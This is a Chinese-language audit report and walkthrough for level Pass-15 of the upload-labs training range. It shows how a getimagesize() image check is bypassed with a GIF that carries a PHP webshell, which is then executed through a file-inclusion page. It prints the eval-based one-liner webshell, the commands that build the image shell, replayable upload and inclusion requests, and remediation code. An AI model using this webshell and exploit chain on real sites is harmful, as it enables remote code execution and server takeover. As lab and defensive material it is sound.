upload-labs_Pass-15_2026-08-09

upload-labs 文件上传漏洞靶场代码审计报告

一、靶场信息

项目 内容
靶场名称 upload-labs
关卡编号 Pass-15
漏洞类型 getimagesize() 校验绕过 + 文件包含执行
审计日期 2026-08-09
目标文件 Pass-15/index.php

二、漏洞概述

Pass-15 使用 PHP 的 getimagesize() 函数检查上传文件是否为真实图片。该函数会读取文件结构并返回图片信息。攻击者可以构造真正的图片马(将 PHP 代码嵌入到合法图片文件中),通过 getimagesize() 校验后上传。随后利用靶场提供的文件包含漏洞页面 include.php 执行图片马中的 PHP 代码。

  • 危险等级:中高危
  • 影响范围:可上传图片马并通过文件包含漏洞执行任意 PHP 代码

三、问题代码位置

文件路径Pass-15/index.php

问题代码片段(第 6-19 行)

function isImage($filename){
    $types = '.jpeg|.png|.gif';
    if(file_exists($filename)){
        $info = getimagesize($filename);
        $ext = image_type_to_extension($info[2]);
        if(stripos($types,$ext)>=0){
            return $ext;
        }else{
            return false;
        }
    }else{
        return false;
    }
}

保存逻辑(第 23-36 行)

if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $res = isImage($temp_file);
    if(!$res){
        $msg = "文件未知,上传失败!";
    }else{
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传出错!";
        }
    }
}

四、漏洞分析

4.1 为什么存在这个问题

getimagesize() 只能验证文件是否为图片格式,无法检测图片中是否嵌入了恶意代码。攻击者可以使用 copy /b normal.gif + shell.php shell.gif(Windows)或 cat normal.gif shell.php > shell.gif(Linux)生成图片马,该文件既能通过 getimagesize() 校验,又包含可执行的 PHP 代码。

4.2 校验逻辑缺陷

  • 仅验证文件是否为图片,未对图片内容进行安全检测。
  • 未对上传后的图片进行二次渲染以清除嵌入代码。
  • 上传目录中的图片可被 include.php 包含执行。

五、利用思路

  1. 准备一张正常图片和 PHP WebShell。
  2. 使用命令将两者合并成图片马:copy /b normal.gif + shell.php shell.gif
  3. 上传图片马,服务端 getimagesize() 判断为 GIF,校验通过。
  4. 文件被保存为 .gif 扩展名。
  5. 访问 include.php?file=upload/xx20260809xxxx.gif,服务端包含执行图片马中的 PHP 代码。

六、POC(Yakit 可直接重放)

6.1 前提条件

  • 靶场访问地址:http://target.com/upload-labs/Pass-15/index.php
  • 文件包含漏洞页面:http://target.com/upload-labs/include.php
  • 已准备好图片马 shell.gif,内容包含 GIF 文件头和 PHP 代码:
GIF89a.....................
<?php @eval($_POST['cmd']); ?>

6.2 Yakit 重放 HTTP 请求包

POST /upload-labs/Pass-15/index.php HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="upload_file"; filename="shell.gif"
Content-Type: image/gif

[此处为图片马二进制内容,前若干字节为 GIF89a 文件头,后面拼接 PHP 一句话]
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundary7MA4YWxkTrZu0gW--

6.3 利用步骤

  1. 在本地使用命令生成图片马:
# Linux/Mac
cat normal.gif shell.php > shell.gif

# Windows
copy /b normal.gif + shell.php shell.gif
  1. 在 Yakit 中新建 HTTP 请求,将 shell.gif 作为文件上传。
  2. 修改 Host 为实际靶场地址。
  3. 发送请求,上传成功后返回页面显示保存的图片路径。
  4. 访问文件包含漏洞页面执行图片马:
GET /upload-labs/include.php?file=upload/1220260809123456.gif HTTP/1.1
Host: target.com
  1. 使用 POST 请求发送 cmd=phpinfo(); 等命令即可执行。

七、修复建议

  1. 图片二次渲染:使用 imagecreatefromgif/jpg/pngimagegif/jpg/png 重新生成图片,清除嵌入代码。
  2. 禁止动态包含上传文件:修复 include.php 的文件包含漏洞,对包含路径进行白名单校验。
  3. 上传目录与应用代码隔离:避免上传文件被当作代码执行。
  4. 重命名上传文件:使用随机文件名。

安全代码示例

$tmp = $_FILES['upload_file']['tmp_name'];
$info = getimagesize($tmp);
if (!$info) {
    die('文件不是有效图片');
}

$ext = image_type_to_extension($info[2]);
$allowed = ['.jpeg', '.jpg', '.png', '.gif'];
if (!in_array($ext, $allowed)) {
    die('不支持的图片类型');
}

// 二次渲染
$img = imagecreatefromstring(file_get_contents($tmp));
$new_name = md5(uniqid()) . $ext;
switch ($info[2]) {
    case IMAGETYPE_GIF: imagegif($img, UPLOAD_PATH . '/' . $new_name); break;
    case IMAGETYPE_JPEG: imagejpeg($img, UPLOAD_PATH . '/' . $new_name); break;
    case IMAGETYPE_PNG: imagepng($img, UPLOAD_PATH . '/' . $new_name); break;
}
imagedestroy($img);

八、参考链接

发表评论

您的邮箱地址不会被公开。 必填项已用 * 标注

滚动至顶部